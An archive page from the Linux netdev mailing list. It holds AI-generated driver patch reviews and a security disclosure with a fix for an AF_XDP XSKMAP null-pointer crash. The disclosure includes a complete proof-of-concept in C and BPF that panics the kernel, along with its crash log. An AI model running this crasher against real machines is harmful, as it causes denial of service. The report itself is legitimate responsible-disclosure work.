* Re: [PATCH net-next v6 3/7] net: macb: Add page pool support handle multi-descriptor frame rx
From: Jakub Kicinski @ 2026-03-29 19:47 UTC (permalink / raw)
To: pvalerio
Cc: Jakub Kicinski, netdev, nicolas.ferre, claudiu.beznea,
andrew+netdev, davem, edumazet, pabeni, lorenzo, theo.lebrun, nb
In-Reply-To: <20260323221047.2749577-4-pvalerio@redhat.com>
This is an AI-generated review of your patch. The human sending this
email has considered the AI review valid, or at least plausible.
---
Subject: net: macb: Add page pool support handle multi-descriptor frame rx
This patch adds page pool allocator and skb recycling support for the data
buffers in the Cadence MACB/GEM Ethernet driver. It also adds support for
receiving network frames that span multiple DMA descriptors.
> diff --git a/drivers/net/ethernet/cadence/macb_main.c b/drivers/net/ethernet/cadence/macb_main.c
> --- a/drivers/net/ethernet/cadence/macb_main.c
> +++ b/drivers/net/ethernet/cadence/macb_main.c
[ ... ]
> +static unsigned int gem_total_rx_buffer_size(struct macb *bp)
> +{
> + return SKB_HEAD_ALIGN(bp->rx_buffer_size + NET_SKB_PAD);
> +}
When calculating the size for napi_build_skb(), does this code account
for the skb_shared_info overhead?
napi_build_skb() places the shared info at the end of the provided fragment
size (frag_size - sizeof(skb_shared_info)). Without adding
SKB_DATA_ALIGN(sizeof(struct skb_shared_info)) to the total size, the shared
info could overlap with the DMA buffer space. This could overwrite packet
data and cause an skb_over_panic() on skb_put() for large frames.
[ ... ]
> @@ -1500,25 +1543,26 @@ static int gem_rx_refill(struct macb_queue *queue)
> desc = macb_rx_desc(queue, entry);
>
> if (!queue->rx_buff[entry]) {
> - /* allocate sk_buff for this free entry in ring */
> - skb = netdev_alloc_skb(bp->dev, bp->rx_buffer_size);
> - if (unlikely(!skb)) {
> - netdev_err(bp->dev,
> - "Unable to allocate sk_buff\n");
> + gfp_alloc = napi ? GFP_ATOMIC : GFP_KERNEL;
> + page = page_pool_alloc_frag(queue->page_pool, &offset,
> + gem_total_rx_buffer_size(bp),
> + gfp_alloc | __GFP_NOWARN);
Can gem_rx_refill() be called concurrently by both the NAPI poll loop and
the error recovery workqueue?
The page pool allocator uses a lockless fast-path that requires execution
from a single context. Looking at the driver, macb_hresp_error_task() is a
workqueue that calls gem_init_rings() which in turn calls gem_rx_refill().
If the workqueue path calls gem_rx_refill() without first stopping NAPI
(via napi_disable()), does this risk concurrent access and memory corruption
in the page pool ring?
[ ... ]
> @@ -2600,12 +2700,22 @@ static netdev_tx_t macb_start_xmit(struct sk_buff *skb, struct net_device *dev)
> return ret;
> }
>
> -static void macb_init_rx_buffer_size(struct macb *bp, size_t size)
> +static void macb_init_rx_buffer_size(struct macb *bp, unsigned int mtu)
> {
> + unsigned int overhead;
> + size_t size;
> +
> if (!macb_is_gem(bp)) {
> bp->rx_buffer_size = MACB_RX_BUFFER_SIZE;
> } else {
> - bp->rx_buffer_size = MIN(size, RX_BUFFER_MAX);
> + size = mtu + ETH_HLEN + ETH_FCS_LEN;
> + bp->rx_buffer_size = SKB_DATA_ALIGN(size + bp->rx_ip_align);
> + if (gem_total_rx_buffer_size(bp) > PAGE_SIZE) {
> + overhead = bp->rx_headroom +
> + SKB_DATA_ALIGN(sizeof(struct skb_shared_info));
> + bp->rx_buffer_size = rounddown(PAGE_SIZE - overhead,
> + RX_BUFFER_MULTIPLE);
> + }
>
> if (bp->rx_buffer_size % RX_BUFFER_MULTIPLE) {
Could this calculation result in a page pool allocation request that
exceeds PAGE_SIZE?
Because the check for gem_total_rx_buffer_size(bp) > PAGE_SIZE happens
before bp->rx_buffer_size is rounded up to RX_BUFFER_MULTIPLE (which occurs
just below this block), specific MTU values might pass the initial check but
exceed PAGE_SIZE after rounding.
Since the page pool is initialized with order = 0, requests larger than a
page will unconditionally fail.
^ permalink raw reply
* Re: [PATCH net-next v6 2/7] net: macb: rename rx_skbuff into rx_buff
From: Jakub Kicinski @ 2026-03-29 19:47 UTC (permalink / raw)
To: pvalerio
Cc: Jakub Kicinski, netdev, nicolas.ferre, claudiu.beznea,
andrew+netdev, davem, edumazet, pabeni, lorenzo, theo.lebrun, nb
In-Reply-To: <20260323221047.2749577-3-pvalerio@redhat.com>
This is an AI-generated review of your patch. The human sending this
email has considered the AI review valid, or at least plausible.
---
No issues found.
^ permalink raw reply
* Re: [PATCH net-next v6 1/7] net: macb: move Rx buffers alloc from link up to open
From: Jakub Kicinski @ 2026-03-29 19:47 UTC (permalink / raw)
To: pvalerio
Cc: Jakub Kicinski, netdev, nicolas.ferre, claudiu.beznea,
andrew+netdev, davem, edumazet, pabeni, lorenzo, theo.lebrun, nb
In-Reply-To: <20260323221047.2749577-2-pvalerio@redhat.com>
This is an AI-generated review of your patch. The human sending this
email has considered the AI review valid, or at least plausible.
---
net: macb: move Rx buffers alloc from link up to open
This commit moves the Rx buffer allocation in the macb driver from link up
to open. It allows the initialization to fail early and loudly if the
Rx rings cannot be refilled, rather than initializing the device in a
broken state.
[ ... ]
> diff --git a/drivers/net/ethernet/cadence/macb_main.c b/drivers/net/ethernet/cadence/macb_main.c
> index 1cb49252abf5..38302cba05ad 100644
> --- a/drivers/net/ethernet/cadence/macb_main.c
> +++ b/drivers/net/ethernet/cadence/macb_main.c
> @@ -1504,6 +1505,7 @@ static void gem_rx_refill(struct macb_queue *queue)
> if (unlikely(!skb)) {
> netdev_err(bp->dev,
> "Unable to allocate sk_buff\n");
> + err = -ENOMEM;
> break;
> }
If dma_map_single() fails shortly after this block, the code frees the
allocated skb and breaks out of the loop:
paddr = dma_map_single(&bp->pdev->dev, skb->data,
bp->rx_buffer_size,
DMA_FROM_DEVICE);
if (dma_mapping_error(&bp->pdev->dev, paddr)) {
dev_kfree_skb(skb);
break;
}
Does this cause the function to return 0 (success) despite the DMA mapping
failure, bypassing the new fail-early design?
[ ... ]
> @@ -6108,12 +6127,20 @@ static int __maybe_unused macb_resume(struct device *dev)
> for (q = 0, queue = bp->queues; q < bp->num_queues;
> ++q, ++queue) {
> if (!(bp->caps & MACB_CAPS_MACB_IS_EMAC)) {
> - if (macb_is_gem(bp))
> - gem_init_rx_ring(queue);
> - else
> + if (macb_is_gem(bp)) {
> + err = gem_init_rx_ring(queue);
> + if (err) {
> + dev_err(dev, "Unable to init RX ring: %d\n", err);
> + return err;
> + }
> + } else {
> macb_init_rx_ring(queue);
> + }
> }
> + }
>
> + for (q = 0, queue = bp->queues; q < bp->num_queues;
> + ++q, ++queue) {
> napi_enable(&queue->napi_rx);
> napi_enable(&queue->napi_tx);
> }
If gem_init_rx_ring() fails and we return err early here, the subsequent
loop that calls napi_enable() is skipped.
Since NAPI was disabled during suspend, the NAPI context remains in a
disabled state. If the interface is later administratively brought down,
.ndo_stop (macb_close) will unconditionally call napi_disable().
Can calling napi_disable() on an already disabled NAPI context cause an
infinite loop and a hard kernel deadlock in this scenario?
--
pw-bot: cr
^ permalink raw reply
* Re: [PATCH net-next v4 2/2] r8152: Add support for the RTL8157 hardware
From: Jakub Kicinski @ 2026-03-29 19:34 UTC (permalink / raw)
To: mail
Cc: Jakub Kicinski, andrew+netdev, davem, edumazet, pabeni, linux-usb,
netdev, linux-kernel
In-Reply-To: <20260324-rtl8157_next-v4-2-034312b12de5@birger-koblitz.de>
This is an AI-generated review of your patch. The human sending this
email has considered the AI review valid, or at least plausible.
---
r8152: Add support for the RTL8157 hardware
This commit adds support for the RTL8157 chip, including its new 16-byte
descriptor format, SRAM/ADV interfaces, and PHY setup. It reuses existing
initialization functions where possible while branching for chip-specific
logic.
> diff --git a/drivers/net/usb/r8152.c b/drivers/net/usb/r8152.c
> index bab8e10e5f99..010126e6dae4 100644
> --- a/drivers/net/usb/r8152.c
> +++ b/drivers/net/usb/r8152.c
> @@ -1629,6 +1862,28 @@ static u16 sram_read(struct r8152 *tp, u16 addr)
> return ocp_reg_read(tp, OCP_SRAM_DATA);
> }
>
> +static void sram_write_w0w1(struct r8152 *tp, u16 addr, u16 clear, u16 set)
> +{
> + u16 data = sram_read(tp, addr);
> +
> + data = (data & ~clear) | set;
> + ocp_reg_write(tp, OCP_SRAM_DATA, data);
> +}
Does this sequence write the modified data back to the wrong address?
Indirect SRAM access ports typically auto-increment their internal address
pointer upon read. Since sram_read() reads OCP_SRAM_DATA, the address
pointer likely advances, causing the subsequent ocp_reg_write() to corrupt
the adjacent register instead of the intended one. Should this use
sram_write(tp, addr, data) to reset the address before writing?
> +static u16 sram2_read(struct r8152 *tp, u16 addr)
> +{
> + ocp_reg_write(tp, OCP_SRAM2_ADDR, addr);
> + return ocp_reg_read(tp, OCP_SRAM2_DATA);
> +}
> +
> +static void sram2_write_w0w1(struct r8152 *tp, u16 addr, u16 clear, u16 set)
> +{
> + u16 data = sram2_read(tp, addr);
> +
> + data = (data & ~clear) | set;
> + ocp_reg_write(tp, OCP_SRAM2_DATA, data);
> +}
Is the same auto-increment issue present here with OCP_SRAM2_DATA?
[ ... ]
> @@ -4080,6 +4473,14 @@ static void rtl8156_runtime_enable(struct r8152 *tp, bool enable)
> }
> }
>
> +static void rtl8157_runtime_enable(struct r8152 *tp, bool enable)
> +{
> + r8153_queue_wake(tp, enable);
> + r8153b_u1u2en(tp, false);
> + r8157_u2p3en(tp, false);
> + rtl_runtime_suspend_enable(tp, enable);
> +}
Does this function break power management upon the first suspend and resume
cycle? Unlike rtl8156_runtime_enable() which checks the enable parameter,
this implementation unconditionally calls r8153b_u1u2en(tp, false) and
r8157_u2p3en(tp, false) even when resuming.
[ ... ]
> @@ -6693,7 +7052,7 @@ static void rtl8156_up(struct r8152 *tp)
> r8153_aldps_en(tp, true);
> r8153_u2p3en(tp, true);
>
> - if (tp->udev->speed >= USB_SPEED_SUPER)
> + if (tp->version != RTL_VER_16 && tp->udev->speed >= USB_SPEED_SUPER)
> r8153b_u1u2en(tp, true);
> }
Because r8153_u2p3en(tp, true) is called unconditionally just before the
modified lines, will RTL8157 incorrectly write to the legacy USB_U2P3_CTRL
register instead of using its specific r8157_u2p3en() function?
[ ... ]
> @@ -6706,13 +7065,13 @@ static void rtl8156_down(struct r8152 *tp)
> return;
> }
>
> - ocp_data = ocp_read_word(tp, MCU_TYPE_PLA, PLA_MAC_PWR_CTRL3);
> - ocp_data |= PLA_MCU_SPDWN_EN;
> - ocp_write_word(tp, MCU_TYPE_PLA, PLA_MAC_PWR_CTRL3, ocp_data);
> + ocp_word_set_bits(tp, MCU_TYPE_PLA, PLA_MAC_PWR_CTRL3, PLA_MCU_SPDWN_EN);
>
> r8153b_u1u2en(tp, false);
> - r8153_u2p3en(tp, false);
> - r8153b_power_cut_en(tp, false);
> + if (tp->version != RTL_VER_16) {
> + r8153_u2p3en(tp, false);
> + r8153b_power_cut_en(tp, false);
> + }
> r8153_aldps_en(tp, false);
While the legacy registers are correctly avoided for RTL_VER_16 here, are we
missing calls to r8157_u2p3en(tp, false) and r8157_power_cut_en(tp, false)?
If omitted, these power states might remain permanently enabled when the
interface goes down.
[ ... ]
> @@ -8362,10 +8825,21 @@ static void r8156b_init(struct r8152 *tp)
>
> set_bit(GREEN_ETHERNET, &tp->flags);
>
> - /* rx aggregation */
> - ocp_data = ocp_read_word(tp, MCU_TYPE_USB, USB_USB_CTRL);
> - ocp_data &= ~(RX_AGG_DISABLE | RX_ZERO_EN);
> - ocp_write_word(tp, MCU_TYPE_USB, USB_USB_CTRL, ocp_data);
> + /* rx aggregation / 16 bytes Rx descriptor */
> + if (tp->version == RTL_VER_16)
> + ocp_word_clr_bits(tp, MCU_TYPE_USB, USB_USB_CTRL, RX_AGG_DISABLE | RX_DESC_16B);
Is it intended to clear the RX_DESC_16B bit for RTL_VER_16? The driver uses
sizeof(struct rx_desc_v2) which is a 16-byte descriptor for RTL8157.
Clearing this bit might configure the hardware to send 8-byte descriptors
instead, leading to packet parsing corruption in rx_bottom().
[ ... ]
> @@ -9647,6 +10158,29 @@ static int rtl_ops_init(struct r8152 *tp)
> tp->rx_buf_sz = 32 * 1024;
> tp->eee_en = true;
> tp->eee_adv = MDIO_EEE_1000T | MDIO_EEE_100TX;
> + r8152_desc_init(tp);
> + break;
> +
> + case RTL_VER_16:
> + tp->eee_en = true;
> + tp->eee_adv = MDIO_EEE_1000T | MDIO_EEE_100TX;
> + tp->eee_adv2 = MDIO_EEE_2_5GT | MDIO_EEE_5GT;
> + ops->init = r8156_init;
> + ops->enable = rtl8156_enable;
> + ops->disable = rtl8153_disable;
> + ops->up = rtl8156_up;
> + ops->down = rtl8156_down;
> + ops->unload = rtl8153_unload;
Will using rtl8153_unload for RTL_VER_16 result in incorrect power cut
teardown? rtl8153_unload calls the legacy r8153_power_cut_en(tp, false).
RTL8157 seems to require r8157_power_cut_en(tp, false) to properly clear
USB_MISC_2 bit 1 and PCUT_STATUS on module unload.
^ permalink raw reply
* Re: [PATCH net-next v4 1/2] r8152: Add support for 5Gbit Link Speeds and EEE
From: Jakub Kicinski @ 2026-03-29 19:34 UTC (permalink / raw)
To: mail
Cc: Jakub Kicinski, andrew+netdev, davem, edumazet, pabeni, linux-usb,
netdev, linux-kernel
In-Reply-To: <20260324-rtl8157_next-v4-1-034312b12de5@birger-koblitz.de>
This is an AI-generated review of your patch. The human sending this
email has considered the AI review valid, or at least plausible.
---
r8152: Add support for 5Gbit Link Speeds and EEE
This commit adds support for 5GBit link speeds and EEE to the RTL8157
driver. It updates the speed and duplex settings, ethtool integration,
and EEE advertisement parameters to handle the new 5G capabilities.
> diff --git a/drivers/net/usb/r8152.c b/drivers/net/usb/r8152.c
> index 3b6d4252d34c..bab8e10e5f99 100644
> --- a/drivers/net/usb/r8152.c
> +++ b/drivers/net/usb/r8152.c
> @@ -604,6 +604,7 @@ enum spd_duplex {
> FORCE_100M_FULL,
> FORCE_1000M_FULL,
> NWAY_2500M_FULL,
> + NWAY_5000M_FULL,
> };
Are there missing switch cases for NWAY_5000M_FULL in the hardware UPS
flag configurations, such as r8156_ups_flags?
It looks like if a 5Gbps link is established, it might fall through to the
default case and leave the speed bits as 0. Since ups_flags_speed(0) maps
to FORCE_10M_HALF, this could cause the device's clock scaling and power
management features to be misconfigured for 10M Half-Duplex instead of the
5Gbps link.
[ ... ]
> @@ -725,6 +726,7 @@ enum spd_duplex {
> #define BP4_SUPER_ONLY 0x1578 /* RTL_VER_04 only */
>
> enum rtl_register_content {
> + _5000bps = BIT(12),
> _2500bps = BIT(10),
Is it intentional that the MAC idle speed down feature (IDLE_SPDWN_EN) is
disabled for _2500bps but remains enabled for _5000bps?
In functions like rtl8156_enable, the code checks if the speed is _2500bps
to disable the idle speed down feature, but the new _5000bps constant is
not included in those checks. This might cause latency spikes or instability
at 5Gbps if the power-saving feature is enabled.
[ ... ]
> @@ -6343,15 +6356,20 @@ static int rtl8152_set_speed(struct r8152 *tp, u8 autoneg, u32 speed, u8 duplex,
> r8152_mdio_write(tp, MII_CTRL1000, new1);
> }
>
> - if (tp->support_2500full) {
> + if (tp->support_2500full || tp->support_5000full) {
> orig = ocp_reg_read(tp, OCP_10GBT_CTRL);
> - new1 = orig & ~MDIO_AN_10GBT_CTRL_ADV2_5G;
> + new1 = orig & ~(MDIO_AN_10GBT_CTRL_ADV2_5G | MDIO_AN_10GBT_CTRL_ADV5G);
>
> if (advertising & RTL_ADVERTISED_2500_FULL) {
> new1 |= MDIO_AN_10GBT_CTRL_ADV2_5G;
> tp->ups_info.speed_duplex = NWAY_2500M_FULL;
> }
>
> + if (advertising & RTL_ADVERTISED_5000_FULL) {
> + new1 |= MDIO_AN_10GBT_CTRL_ADV5G;
> + tp->ups_info.speed_duplex = NWAY_5000M_FULL;
> + }
> +
Could this unintentionally advertise 5GbE on a 2.5GbE-only adapter if
userspace requests it?
The earlier check in this function:
if (!(advertising & support))
return -EINVAL;
only ensures that at least one supported speed is requested, but it does
not strip unsupported speeds from the advertising mask. Since this block
is now entered when support_2500full is true, checking the advertising mask
for RTL_ADVERTISED_5000_FULL without verifying tp->support_5000full could
erroneously write the 5G bit to the PHY and misconfigure the hardware
state.
[ ... ]
> @@ -8793,6 +8814,19 @@ int rtl8152_get_link_ksettings(struct net_device *netdev,
> cmd->base.speed = SPEED_2500;
> }
>
> + if (tp->support_5000full) {
> + linkmode_mod_bit(ETHTOOL_LINK_MODE_5000baseT_Full_BIT,
> + cmd->link_modes.advertising,
> + ocp_reg_read(tp, OCP_10GBT_CTRL) & MDIO_AN_10GBT_CTRL_ADV5G);
> +
> + linkmode_mod_bit(ETHTOOL_LINK_MODE_5000baseT_Full_BIT,
> + cmd->link_modes.lp_advertising,
> + ocp_reg_read(tp, OCP_10GBT_STAT) & MDIO_AN_10GBT_STAT_LP5G);
> +
> + if (is_speed_5000(rtl8152_get_speed(tp)))
> + cmd->base.speed = SPEED_5000;
> + }
Since 5G adapters like the RTL8157 will have both support_2500full and
support_5000full set, will this result in duplicate blocking USB control
transfers?
The ocp_reg_read calls for OCP_10GBT_CTRL and OCP_10GBT_STAT, along with
rtl8152_get_speed, are also executed in the preceding support_2500full
block. Reading these into local variables before the capability checks
would avoid the overhead of duplicate hardware accesses.
[ ... ]
> @@ -8994,6 +9032,13 @@ static int r8153_get_eee(struct r8152 *tp, struct ethtool_keee *eee)
> linkmode_set_bit(ETHTOOL_LINK_MODE_2500baseT_Full_BIT, common);
> }
>
> + if (tp->support_5000full) {
> + linkmode_set_bit(ETHTOOL_LINK_MODE_5000baseT_Full_BIT, eee->supported);
> +
> + if (speed & _5000bps)
> + linkmode_set_bit(ETHTOOL_LINK_MODE_5000baseT_Full_BIT, common);
> + }
In r8153_get_eee, the reading of OCP_EEE_ADV2 and OCP_EEE_LPABLE2 is
performed inside the if (tp->support_2500full) block that precedes this new
code.
Since those registers contain the EEE capability bits for both 2.5G
and 5G speeds, what happens if a device has support_5000full enabled but
support_2500full disabled? It looks like the registers would never be read,
and the 5Gbps EEE capabilities would fail to populate correctly.
--
pw-bot: cr
^ permalink raw reply
* [PATCH 1/1] xskmap: reject TX-only AF_XDP sockets
From: Linpu Yu @ 2026-03-29 19:29 UTC (permalink / raw)
To: magnus.karlsson, maciej.fijalkowski, netdev, bpf
Cc: sdf, davem, edumazet, kuba, pabeni, horms, ast, daniel, hawk,
john.fastabend, bjorn, linux-kernel, yuantan098, yifanwucs
In-Reply-To: <cover.1774701288.git.linpu5433@gmail.com>
Reject TX-only AF_XDP sockets from XSKMAP updates. Redirected
packets always enter the Rx path, where the kernel expects the
selected socket to have an Rx ring. A TX-only socket can
currently be inserted into an XSKMAP, and redirecting a packet
to it crashes the kernel in xsk_generic_rcv().
Keep TX-only AF_XDP sockets valid for pure Tx use, but prevent
them from being published through XSKMAP.
Fixes: fbfc504a24f5 ("bpf: introduce new bpf AF_XDP map type BPF_MAP_TYPE_XSKMAP")
Reported-by: Juefei Pu <tomapufckgml@gmail.com>
Reported-by: Yuan Tan <yuantan098@gmail.com>
Signed-off-by: Xin Liu <bird@lzu.edu.cn>
Signed-off-by: Yifan Wu <yifanwucs@gmail.com>
Signed-off-by: Linpu Yu <linpu5433@gmail.com>
---
net/xdp/xskmap.c | 4 ++++
1 file changed, 4 insertions(+)
diff --git a/net/xdp/xskmap.c b/net/xdp/xskmap.c
index afa457506274c..6dac59ebb5cf0 100644
--- a/net/xdp/xskmap.c
+++ b/net/xdp/xskmap.c
@@ -184,6 +184,10 @@ static long xsk_map_update_elem(struct bpf_map *map, void *key, void *value,
}
xs = (struct xdp_sock *)sock->sk;
+ if (!READ_ONCE(xs->rx)) {
+ sockfd_put(sock);
+ return -EINVAL;
+ }
map_entry = &m->xsk_map[i];
node = xsk_map_node_alloc(m, map_entry);
--
2.53.0
^ permalink raw reply related
* [PATCH 0/1] xskmap: reject TX-only AF_XDP sockets
From: Linpu Yu @ 2026-03-29 19:29 UTC (permalink / raw)
To: magnus.karlsson, maciej.fijalkowski, netdev, bpf
Cc: sdf, davem, edumazet, kuba, pabeni, horms, ast, daniel, hawk,
john.fastabend, bjorn, linux-kernel, yuantan098, yifanwucs
Hi,
We found and validated a low severity security issue in
net/xdp/xskmap.c from v4.18-rc1 to v7.0-rc4. The bug can cause a
KASAN report and panic when an XDP program redirects a packet to an
XSKMAP entry backed by a TX-only AF_XDP socket. We have also
included a minimum reproducer which was tested on v7.0.0-rc4.
We will send a patch as a follow-up in this thread. We've tested
it, and it should not affect any other functionality.
---- details below ----
Bug details:
xsk_map_update_elem() accepts any PF_XDP socket and does not
require an Rx ring. A TX-only AF_XDP socket can therefore be
inserted into an XSKMAP.
When an XDP program redirects a packet through such an entry, the
packet always enters the Rx path. The generic receive path reaches
xsk_generic_rcv(), which assumes xs->rx is valid and dereferences
it. With a TX-only socket, xs->rx is NULL and the kernel reports a
KASAN null-ptr-deref before panicking.
The root cause is that XSKMAP publication validates only the socket
family, but redirect delivery requires an Rx-capable AF_XDP socket.
Required kernel config:
CONFIG_BPF
CONFIG_BPF_SYSCALL
CONFIG_XDP_SOCKETS
CONFIG_VETH
Reproducer:
clang -O2 -g -target bpf -D__TARGET_ARCH_x86 -I/usr/include/x86_64-linux-gnu -c -o poc.bpf.o poc.bpf.c
gcc -O2 -g -Wall -Wextra -o poc poc.c -lbpf -lelf -lz
sudo ./poc ./poc.bpf.o
We have validated the PoC on v7.0.0-rc4 and v6.12.74.
---8<--- BEGIN poc.bpf.c ---8<---
// SPDX-License-Identifier: GPL-2.0
#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>
struct {
__uint(type, BPF_MAP_TYPE_XSKMAP);
__uint(max_entries, 1);
__type(key, __u32);
__type(value, __u32);
} xsks SEC(".maps");
SEC("xdp")
int redirect_to_xsk(struct xdp_md *ctx)
{
return bpf_redirect_map(&xsks, 0, XDP_PASS);
}
char _license[] SEC("license") = "GPL";
---8<--- END poc.bpf.c ---8<---
---8<--- BEGIN poc.c ---8<---
// SPDX-License-Identifier: GPL-2.0
#define _GNU_SOURCE
#include <errno.h>
#include <net/if.h>
#include <netinet/in.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/if_link.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <unistd.h>
#include <bpf/bpf.h>
#include <bpf/libbpf.h>
#include <bpf/xsk.h>
#define RX_IFACE "vethxdp0"
#define TX_IFACE "vethxdp1"
#define QUEUE_ID 0
#define NUM_DESCS 64
#define FRAME_SIZE XSK_UMEM__DEFAULT_FRAME_SIZE
#define NUM_FRAMES 16
#define UMEM_SIZE ((size_t)FRAME_SIZE * NUM_FRAMES)
static const unsigned char rx_mac[ETH_ALEN] = {0x02, 0x00, 0x00, 0x00, 0x00, 0x01};
static const unsigned char tx_mac[ETH_ALEN] = {0x02, 0x00, 0x00, 0x00, 0x00, 0x02};
static int run_cmd(const char *fmt, ...)
{
char cmd[512];
va_list ap;
int rc;
va_start(ap, fmt);
vsnprintf(cmd, sizeof(cmd), fmt, ap);
va_end(ap);
rc = system(cmd);
if (rc)
fprintf(stderr, "command failed (%d): %s\n", rc, cmd);
return rc;
}
static int cleanup_links(void)
{
return system("ip link del " RX_IFACE " >/dev/null 2>&1");
}
static int setup_links(void)
{
int rc;
cleanup_links();
rc = run_cmd("ip link add " RX_IFACE " type veth peer name " TX_IFACE);
if (rc)
return -1;
rc = run_cmd("ip link set dev " RX_IFACE " address 02:00:00:00:00:01");
if (rc)
return -1;
rc = run_cmd("ip link set dev " TX_IFACE " address 02:00:00:00:00:02");
if (rc)
return -1;
rc = run_cmd("ip link set dev " RX_IFACE " up");
if (rc)
return -1;
rc = run_cmd("ip link set dev " TX_IFACE " up");
if (rc)
return -1;
return 0;
}
static int send_test_frame(int ifindex)
{
unsigned char frame[64];
struct sockaddr_ll addr;
struct ethhdr *eth = (struct ethhdr *)frame;
int fd, ret;
memset(frame, 0x41, sizeof(frame));
memcpy(eth->h_dest, rx_mac, ETH_ALEN);
memcpy(eth->h_source, tx_mac, ETH_ALEN);
eth->h_proto = htons(ETH_P_IP);
fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_IP));
if (fd < 0) {
perror("socket(AF_PACKET)");
return -1;
}
memset(&addr, 0, sizeof(addr));
addr.sll_family = AF_PACKET;
addr.sll_protocol = htons(ETH_P_IP);
addr.sll_ifindex = ifindex;
addr.sll_halen = ETH_ALEN;
memcpy(addr.sll_addr, rx_mac, ETH_ALEN);
ret = sendto(fd, frame, sizeof(frame), 0,
(struct sockaddr *)&addr, sizeof(addr));
if (ret < 0) {
perror("sendto");
close(fd);
return -1;
}
close(fd);
return 0;
}
static int libbpf_print_fn(enum libbpf_print_level level, const char *fmt, va_list args)
{
if (level == LIBBPF_DEBUG)
return 0;
return vfprintf(stderr, fmt, args);
}
int main(int argc, char **argv)
{
struct xsk_ring_prod fill = {}, tx = {};
struct xsk_ring_cons comp = {};
struct xsk_socket_config xsk_cfg = {
.rx_size = NUM_DESCS,
.tx_size = NUM_DESCS,
.libbpf_flags = XSK_LIBBPF_FLAGS__INHIBIT_PROG_LOAD,
.xdp_flags = XDP_FLAGS_SKB_MODE,
.bind_flags = XDP_COPY,
};
struct rlimit rlim = {
.rlim_cur = RLIM_INFINITY,
.rlim_max = RLIM_INFINITY,
};
struct xsk_umem *umem = NULL;
struct xsk_socket *xsk = NULL;
struct bpf_program *prog;
struct bpf_object *obj = NULL;
struct bpf_map *xsks_map;
const char *bpf_path;
void *umem_area = NULL;
int rx_ifindex = -1, tx_ifindex = -1;
int err = 1;
if (argc > 2) {
fprintf(stderr, "usage: %s [./poc.bpf.o]\n", argv[0]);
return 1;
}
bpf_path = argc == 2 ? argv[1] : "./poc.bpf.o";
libbpf_set_print(libbpf_print_fn);
setrlimit(RLIMIT_MEMLOCK, &rlim);
if (setup_links()) {
fprintf(stderr, "failed to create veth pair\n");
goto out;
}
rx_ifindex = if_nametoindex(RX_IFACE);
tx_ifindex = if_nametoindex(TX_IFACE);
if (!rx_ifindex || !tx_ifindex) {
fprintf(stderr, "if_nametoindex failed\n");
goto out;
}
if (posix_memalign(&umem_area, getpagesize(), UMEM_SIZE)) {
fprintf(stderr, "posix_memalign failed\n");
goto out;
}
memset(umem_area, 0, UMEM_SIZE);
err = xsk_umem__create(&umem, umem_area, UMEM_SIZE, &fill, &comp, NULL);
if (err) {
fprintf(stderr, "xsk_umem__create failed: %d\n", err);
goto out;
}
err = xsk_socket__create(&xsk, RX_IFACE, QUEUE_ID, umem, NULL, &tx, &xsk_cfg);
if (err) {
fprintf(stderr, "xsk_socket__create failed: %d\n", err);
goto out;
}
obj = bpf_object__open_file(bpf_path, NULL);
if (libbpf_get_error(obj)) {
err = (int)libbpf_get_error(obj);
obj = NULL;
fprintf(stderr, "bpf_object__open_file failed: %d\n", err);
goto out;
}
err = bpf_object__load(obj);
if (err) {
fprintf(stderr, "bpf_object__load failed: %d\n", err);
goto out;
}
prog = bpf_object__find_program_by_name(obj, "redirect_to_xsk");
if (!prog) {
fprintf(stderr, "failed to find program\n");
goto out;
}
xsks_map = bpf_object__find_map_by_name(obj, "xsks");
if (!xsks_map) {
fprintf(stderr, "failed to find xsks map\n");
goto out;
}
err = bpf_set_link_xdp_fd(rx_ifindex, bpf_program__fd(prog), XDP_FLAGS_SKB_MODE);
if (err) {
fprintf(stderr, "bpf_set_link_xdp_fd attach failed: %d\n", err);
goto out;
}
err = xsk_socket__update_xskmap(xsk, bpf_map__fd(xsks_map));
if (err) {
fprintf(stderr, "xsk_socket__update_xskmap failed: %d\n", err);
goto out;
}
fprintf(stderr, "sending one frame into %s queue %d\n", RX_IFACE, QUEUE_ID);
fflush(stderr);
if (send_test_frame(tx_ifindex))
goto out;
sleep(2);
fprintf(stderr, "no crash observed\n");
err = 0;
out:
if (rx_ifindex > 0)
bpf_set_link_xdp_fd(rx_ifindex, -1, XDP_FLAGS_SKB_MODE);
if (xsk)
xsk_socket__delete(xsk);
if (umem)
xsk_umem__delete(umem);
free(umem_area);
if (obj)
bpf_object__close(obj);
cleanup_links();
return err;
}
---8<--- END poc.c ---8<---
Crash log:
[ 628.881280][ C0] Oops: general protection fault, probably for non-canonical address 0xdffffc0000000001: 0000 [#1] PREEMPT SMP KASAN NOPTI
[ 628.882528][ C0] KASAN: null-ptr-deref in range [0x0000000000000008-0x000000000000000f]
[ 628.883234][ C0] CPU: 0 UID: 0 PID: 10251 Comm: poc Not tainted 6.12.74 #3
[ 628.883828][ C0] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 628.884701][ C0] RIP: 0010:xsk_generic_rcv+0x1c1/0x460
[ 628.885258][ C0] Code: 48 c1 ea 03 80 3c 02 00 0f 85 a0 02 00 00 48 8b 9d 80 05 00 00 48 b8 00 00 00 00 00 fc ff df 48 8d 7b 08 48 89 fa 48 c1 ea 03 <0f> b6 04 02 84 c0 74 09 3c 03 7f 05 e8 5e d6 ee f6 44 8b 73 08 48
[ 628.886884][ C0] RSP: 0018:ffffc90000007738 EFLAGS: 00010212
[ 628.887445][ C0] RAX: dffffc0000000000 RBX: 0000000000000000 RCX: ffff88803fe40800
[ 628.888062][ C0] RDX: 0000000000000001 RSI: ffffffff8b08bfc6 RDI: 0000000000000008
[ 628.888699][ C0] RBP: ffff88803fe40800 R08: 0000000000000004 R09: 0000000000000000
[ 628.889359][ C0] R10: 0000000000000000 R11: 0000000000000001 R12: 00000000fffffff4
[ 628.889985][ C0] R13: ffff88803fe40da8 R14: 0000000000000040 R15: ffffc90000007e98
[ 628.890669][ C0] FS: 00007f7fe6b52740(0000) GS:ffff88806a800000(0000) knlGS:0000000000000000
[ 628.891406][ C0] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
